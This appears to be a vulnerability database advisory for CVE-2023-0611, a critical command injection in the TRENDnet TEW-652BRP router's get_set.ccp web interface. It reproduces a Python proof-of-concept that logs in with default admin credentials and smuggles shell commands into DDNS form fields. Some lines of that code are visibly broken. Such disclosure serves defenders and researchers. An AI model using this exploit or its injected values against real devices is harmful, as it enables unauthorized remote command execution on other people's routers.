TRENDnet TEW-652BRP 3.04B01 Web Management Interface get_set.ccp command injection

CVSS Meta Temp Score
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CTI Interest Score
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A vulnerability, which was classified as critical, has been found in TRENDnet TEW-652BRP 3.04B01. This issue affects some unknown functionality of the file get_set.ccp of the component Web Management Interface. The manipulation with an unknown input leads to a command injection vulnerability. Using CWE to declare the problem leads to CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Impacted is confidentiality, integrity, and availability.

The weakness was published 02/01/2023. The identification of this vulnerability is CVE-2023-0611. Technical details as well as a public exploit are known. The attack technique deployed by this issue is T1202 according to MITRE ATT&CK.

A public exploit has been developed in Python. The exploit is available at It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'admin'
device_web_ip = ''
ping_target_ip = ''

headers = {'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': 'application/x-www-form-urlencoded', 
'Origin': 'http://{}'.format(device_web_ip), 
'Connection': 'keep-alive', 
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip), 
'Upgrade-Insecure-Requests': '1'}

login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r =, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
  print('Login wrong, please retry!')

params = {
'ccp_act': 'set', 
'ccpSubEvent': 'CCP_SUB_DDNS', 
'nextPage': 'ddns.htm', 
'ddnsCfg_DDNSEnable_1.': 1, 
'ddnsCfg_DDNSServer_1.': '', 
'ddnsCfg_HostName_1.': ';ping -c 1 {};'.format(ping_target_ip), 
'ddnsCfg_Username_1.': 'admin', 
'ddnsCfg_Password_1.': '|ping -c 1 {}'.format(ping_target_ip), 
'ddnsCfg_Timeout_1.': ''
method = 'POST'
url = 'http://{}/get_set.ccp'.format(device_web_ip)

  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except Exception as e:

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Similar entries are available at VDB-147377, VDB-147378 and VDB-220019.






CPE 2.3info

CPE 2.2info


VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍


VulDB Meta Base Score: 8.8
VulDB Meta Temp Score: 8.6

VulDB Base Score: 8.8
VulDB Temp Score: 8.3
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CNA Base Score: 8.8
CNA Vector (VulDB): 🔍



VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍


Class: Command injection
CWE: CWE-77 / CWE-74 / CWE-707

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍


Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍


Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍


02/01/2023 🔍
02/01/2023 +0 days 🔍
02/01/2023 +0 days 🔍
03/01/2023 +28 days 🔍


Status: Confirmed

CVE: CVE-2023-0611 (🔍)
scip Labs:
See also: 🔍


Created: 02/01/2023 02:28 PM
Updated: 03/01/2023 11:09 AM
Changes: 02/01/2023 02:28 PM (39), 02/01/2023 02:29 PM (2), 03/01/2023 11:04 AM (2), 03/01/2023 11:09 AM (27)
Complete: 🔍
Submitter: leetsun
Cache ID: 44:6F5:40



  • Submit #77380: Command injection on TRENDnet router TEW-652BRP(2) (by leetsun)


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